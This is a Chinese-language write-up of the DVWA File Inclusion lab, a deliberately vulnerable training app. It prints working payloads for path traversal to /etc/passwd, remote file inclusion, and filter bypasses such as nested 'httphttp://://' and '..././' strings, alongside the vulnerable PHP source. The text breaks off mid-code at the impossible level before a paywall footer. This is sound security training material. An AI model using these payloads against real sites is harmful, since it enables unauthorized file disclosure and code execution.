文章目录
1. DVWA File Inclusion
Low level
url路径:
/dvwa/vulnerabilities/fi/index.php?page=include.php
可以看出page参数对应的php会被包含,尝试包含passwd:
/dvwa/vulnerabilities/fi/index.php?page=../../../../../etc/passwd
页面回显:
root:x:0:0:root:/root:/bin/bash
...
telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false
并且在一开始访问page=../../../etc/passwd错误路径时,页面暴露了www的绝对路径:
Warning: include(../etc/passwd) [function.include]: failed to open stream: No such file or directory in /var/www/dvwa/vulnerabilities/fi/index.php on line 35
看下源码,没有对page参数做任何检查:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
Medium level
用…/无法访问上级目录了。
源码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
过滤了http://和https://,试图禁止包含远程文件;过滤…/,试图禁止包含本地文件。
很好绕过:
page=httphttp://://10.10.10.156/dvwa/vulnerabilities/fi/file1.php
Fatal error: Call to undefined function dvwaCurrentUser() in C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\file1.php on line 9
虽然报错,但文件确实包含了。在服务端放个phpinfo.php:
page=htthttp://p://10.10.10.156/phpinfo.php
成功执行phpinfo()。
本地文件包含过滤也是可以绕过:
page=..././..././..././..././..././etc/passwd
High level
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
high难度要求必须以file协议指定page。
windows版绕过(绝对路径已通过报错信息获得):
page=file://C:\\phpstudy_pro\\WWW\\phpinfo.php
Impossible level
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php"<

本文详细解读了DVWA中FileInclusion和Fileupload漏洞的低、中、高及不可能级挑战,涉及路径遍历、文件类型检查、白名单限制等高级防护手段的突破技巧。
最低0.47元/天 解锁文章
7450

被折叠的 条评论
为什么被折叠?



